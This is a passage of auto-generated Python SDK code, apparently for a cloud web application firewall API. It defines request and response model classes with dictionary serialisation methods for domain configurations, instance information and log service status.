DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile(TeaModel):\n\n def __init__(self, http_2port=None, ipv_6status=None, http_port=None,\n gslbstatus=None, rs=None, vip_service_status=None, cluster_type=\n None, exclusive_vip_status=None, cname=None, cert_status=None,\n https_port=None, resolved_type=None):\n self.http_2port = http_2port\n self.ipv_6status = ipv_6status\n self.http_port = http_port\n self.gslbstatus = gslbstatus\n self.rs = rs\n self.vip_service_status = vip_service_status\n self.cluster_type = cluster_type\n self.exclusive_vip_status = exclusive_vip_status\n self.cname = cname\n self.cert_status = cert_status\n self.https_port = https_port\n self.resolved_type = resolved_type\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.ipv_6status is not None:\n result['Ipv6Status'] = self.ipv_6status\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.gslbstatus is not None:\n result['GSLBStatus'] = self.gslbstatus\n if self.rs is not None:\n result['Rs'] = self.rs\n if self.vip_service_status is not None:\n result['VipServiceStatus'] = self.vip_service_status\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.exclusive_vip_status is not None:\n result['ExclusiveVipStatus'] = self.exclusive_vip_status\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.cert_status is not None:\n result['CertStatus'] = self.cert_status\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.resolved_type is not None:\n result['ResolvedType'] = self.resolved_type\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('Ipv6Status') is not None:\n self.ipv_6status = m.get('Ipv6Status')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('GSLBStatus') is not None:\n self.gslbstatus = m.get('GSLBStatus')\n if m.get('Rs') is not None:\n self.rs = m.get('Rs')\n if m.get('VipServiceStatus') is not None:\n self.vip_service_status = m.get('VipServiceStatus')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ExclusiveVipStatus') is not None:\n self.exclusive_vip_status = m.get('ExclusiveVipStatus')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('CertStatus') is not None:\n self.cert_status = m.get('CertStatus')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('ResolvedType') is not None:\n self.resolved_type = m.get('ResolvedType')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, profile=None, domain=None):\n self.profile = profile\n self.domain = domain\n\n def validate(self):\n if self.profile:\n self.profile.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigs,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.profile is not None:\n result['Profile'] = self.profile.to_map()\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Profile') is not None:\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile())\n self.profile = temp_model.from_map(m['Profile'])\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_configs=None):\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainAdvanceConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainAdvanceConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainBasicConfigsRequest(TeaModel):\n\n def __init__(self, instance_id=None, domain_key=None, access_type=None,\n cloud_native_product_id=None, page_number=None, page_size=None,\n resource_group_id=None):\n self.instance_id = instance_id\n self.domain_key = domain_key\n self.access_type = access_type\n self.cloud_native_product_id = cloud_native_product_id\n self.page_number = page_number\n self.page_size = page_size\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_key is not None:\n result['DomainKey'] = self.domain_key\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_product_id is not None:\n result['CloudNativeProductId'] = self.cloud_native_product_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainKey') is not None:\n self.domain_key = m.get('DomainKey')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeProductId') is not None:\n self.cloud_native_product_id = m.get('CloudNativeProductId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBodyDomainConfigs(TeaModel):\n\n def __init__(self, status=None, domain=None, owner=None, cc_mode=None,\n cc_status=None, access_type=None, version=None, acl_status=None,\n waf_status=None, waf_mode=None):\n self.status = status\n self.domain = domain\n self.owner = owner\n self.cc_mode = cc_mode\n self.cc_status = cc_status\n self.access_type = access_type\n self.version = version\n self.acl_status = acl_status\n self.waf_status = waf_status\n self.waf_mode = waf_mode\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBodyDomainConfigs, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.owner is not None:\n result['Owner'] = self.owner\n if self.cc_mode is not None:\n result['CcMode'] = self.cc_mode\n if self.cc_status is not None:\n result['CcStatus'] = self.cc_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.acl_status is not None:\n result['AclStatus'] = self.acl_status\n if self.waf_status is not None:\n result['WafStatus'] = self.waf_status\n if self.waf_mode is not None:\n result['WafMode'] = self.waf_mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Owner') is not None:\n self.owner = m.get('Owner')\n if m.get('CcMode') is not None:\n self.cc_mode = m.get('CcMode')\n if m.get('CcStatus') is not None:\n self.cc_status = m.get('CcStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('AclStatus') is not None:\n self.acl_status = m.get('AclStatus')\n if m.get('WafStatus') is not None:\n self.waf_status = m.get('WafStatus')\n if m.get('WafMode') is not None:\n self.waf_mode = m.get('WafMode')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_configs=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_configs = domain_configs\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = (\n DescribeDomainBasicConfigsResponseBodyDomainConfigs())\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainBasicConfigsResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainBasicConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainListRequest(TeaModel):\n\n def __init__(self, resource_group_id=None, instance_id=None,\n domain_name=None, page_number=None, page_size=None, is_sub=None,\n domain_names=None):\n self.resource_group_id = resource_group_id\n self.instance_id = instance_id\n self.domain_name = domain_name\n self.page_number = page_number\n self.page_size = page_size\n self.is_sub = is_sub\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_name is not None:\n result['DomainName'] = self.domain_name\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.is_sub is not None:\n result['IsSub'] = self.is_sub\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainName') is not None:\n self.domain_name = m.get('DomainName')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('IsSub') is not None:\n self.is_sub = m.get('IsSub')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponseBody(TeaModel):\n\n def __init__(self, total_count=None, request_id=None, domain_names=None):\n self.total_count = total_count\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainListResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainListResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainNamesRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainNamesResponseBody(TeaModel):\n\n def __init__(self, request_id=None, domain_names=None):\n self.request_id = request_id\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainNamesResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainNamesResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainNamesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRuleGroupRequest(TeaModel):\n\n def __init__(self, domain=None, instance_id=None):\n self.domain = domain\n self.instance_id = instance_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeDomainRuleGroupResponseBody(TeaModel):\n\n def __init__(self, rule_group_id=None, request_id=None):\n self.rule_group_id = rule_group_id\n self.request_id = request_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.rule_group_id is not None:\n result['RuleGroupId'] = self.rule_group_id\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RuleGroupId') is not None:\n self.rule_group_id = m.get('RuleGroupId')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n return self\n\n\nclass DescribeDomainRuleGroupResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainRuleGroupResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainRuleGroupResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfoResponseBodyInstanceInfo(TeaModel):\n\n def __init__(self, status=None, end_date=None, version=None, remain_day\n =None, region=None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.version = version\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBodyInstanceInfo, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.version is not None:\n result['Version'] = self.version\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfoResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_info=None):\n self.request_id = request_id\n self.instance_info = instance_info\n\n def validate(self):\n if self.instance_info:\n self.instance_info.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_info is not None:\n result['InstanceInfo'] = self.instance_info.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceInfo') is not None:\n temp_model = DescribeInstanceInfoResponseBodyInstanceInfo()\n self.instance_info = temp_model.from_map(m['InstanceInfo'])\n return self\n\n\nclass DescribeInstanceInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceInfosRequest(TeaModel):\n\n def __init__(self, instance_source=None, instance_id=None,\n resource_group_id=None):\n self.instance_source = instance_source\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_source is not None:\n result['InstanceSource'] = self.instance_source\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceSource') is not None:\n self.instance_source = m.get('InstanceSource')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceInfosResponseBodyInstanceInfos(TeaModel):\n\n def __init__(self, status=None, end_date=None, remain_day=None, region=\n None, pay_type=None, in_debt=None, instance_id=None,\n subscription_type=None, trial=None):\n self.status = status\n self.end_date = end_date\n self.remain_day = remain_day\n self.region = region\n self.pay_type = pay_type\n self.in_debt = in_debt\n self.instance_id = instance_id\n self.subscription_type = subscription_type\n self.trial = trial\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBodyInstanceInfos, self\n ).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.end_date is not None:\n result['EndDate'] = self.end_date\n if self.remain_day is not None:\n result['RemainDay'] = self.remain_day\n if self.region is not None:\n result['Region'] = self.region\n if self.pay_type is not None:\n result['PayType'] = self.pay_type\n if self.in_debt is not None:\n result['InDebt'] = self.in_debt\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.subscription_type is not None:\n result['SubscriptionType'] = self.subscription_type\n if self.trial is not None:\n result['Trial'] = self.trial\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('EndDate') is not None:\n self.end_date = m.get('EndDate')\n if m.get('RemainDay') is not None:\n self.remain_day = m.get('RemainDay')\n if m.get('Region') is not None:\n self.region = m.get('Region')\n if m.get('PayType') is not None:\n self.pay_type = m.get('PayType')\n if m.get('InDebt') is not None:\n self.in_debt = m.get('InDebt')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('SubscriptionType') is not None:\n self.subscription_type = m.get('SubscriptionType')\n if m.get('Trial') is not None:\n self.trial = m.get('Trial')\n return self\n\n\nclass DescribeInstanceInfosResponseBody(TeaModel):\n\n def __init__(self, request_id=None, instance_infos=None):\n self.request_id = request_id\n self.instance_infos = instance_infos\n\n def validate(self):\n if self.instance_infos:\n for k in self.instance_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['InstanceInfos'] = []\n if self.instance_infos is not None:\n for k in self.instance_infos:\n result['InstanceInfos'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.instance_infos = []\n if m.get('InstanceInfos') is not None:\n for k in m.get('InstanceInfos'):\n temp_model = DescribeInstanceInfosResponseBodyInstanceInfos()\n self.instance_infos.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeInstanceInfosResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceInfosResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceInfosResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeInstanceSpecInfoRequest(TeaModel):\n\n def __init__(self, instance_id=None, resource_group_id=None):\n self.instance_id = instance_id\n self.resource_group_id = resource_group_id\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos(TeaModel):\n\n def __init__(self, value=None, code=None):\n self.value = value\n self.code = code\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos,\n self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.value is not None:\n result['Value'] = self.value\n if self.code is not None:\n result['Code'] = self.code\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Value') is not None:\n self.value = m.get('Value')\n if m.get('Code') is not None:\n self.code = m.get('Code')\n return self\n\n\nclass DescribeInstanceSpecInfoResponseBody(TeaModel):\n\n def __init__(self, instance_spec_infos=None, request_id=None,\n instance_id=None, version=None, expire_time=None):\n self.instance_spec_infos = instance_spec_infos\n self.request_id = request_id\n self.instance_id = instance_id\n self.version = version\n self.expire_time = expire_time\n\n def validate(self):\n if self.instance_spec_infos:\n for k in self.instance_spec_infos:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponseBody, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n result['InstanceSpecInfos'] = []\n if self.instance_spec_infos is not None:\n for k in self.instance_spec_infos:\n result['InstanceSpecInfos'].append(k.to_map() if k else None)\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.version is not None:\n result['Version'] = self.version\n if self.expire_time is not None:\n result['ExpireTime'] = self.expire_time\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.instance_spec_infos = []\n if m.get('InstanceSpecInfos') is not None:\n for k in m.get('InstanceSpecInfos'):\n temp_model = (\n DescribeInstanceSpecInfoResponseBodyInstanceSpecInfos())\n self.instance_spec_infos.append(temp_model.from_map(k))\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ExpireTime') is not None:\n self.expire_time = m.get('ExpireTime')\n return self\n\n\nclass DescribeInstanceSpecInfoResponse(TeaModel):\n\n def __init__(self, headers=None, body=None):\n self.headers = headers\n self.body = body\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeInstanceSpecInfoResponse, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeInstanceSpecInfoResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeLogServiceStatusRequest(TeaModel):\n\n def __init__(self, instance_id=None, region=None, resource_group_id=\n None, page_number=None, page_size=None, domain_names=None):\n self.instance_id = instance_id\n self.region = region\n self.resource_group_id = resource_group_id\n self.page_number = page_number\n self.page_size = page_size\n self.domain_names = domain_names\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeLogServiceStatusRequest, self).to_map()\n if _map is not None:\n return _map\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.region is not None:\n result['Region'] = self.region\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return 